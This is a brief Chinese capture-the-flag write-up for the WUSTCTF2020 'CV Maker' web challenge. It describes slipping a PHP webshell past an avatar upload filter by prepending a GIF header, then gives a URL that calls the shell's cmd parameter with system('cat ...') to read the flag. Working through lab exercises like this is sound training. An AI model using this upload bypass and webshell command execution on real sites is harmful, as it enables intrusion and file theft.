[WUSTCTF2020]CV Maker.md

---

首页长这样

注册账号并登录

这里可以上传头像

没想到加上GIF头之后就能顺利上传木马

/uploads/d41d8cd98f00b204e9800998ecf8427e.php?cmd=system('cat /Flag_aqi2282u922oiji');

#Web #PHP #文件上传 #文件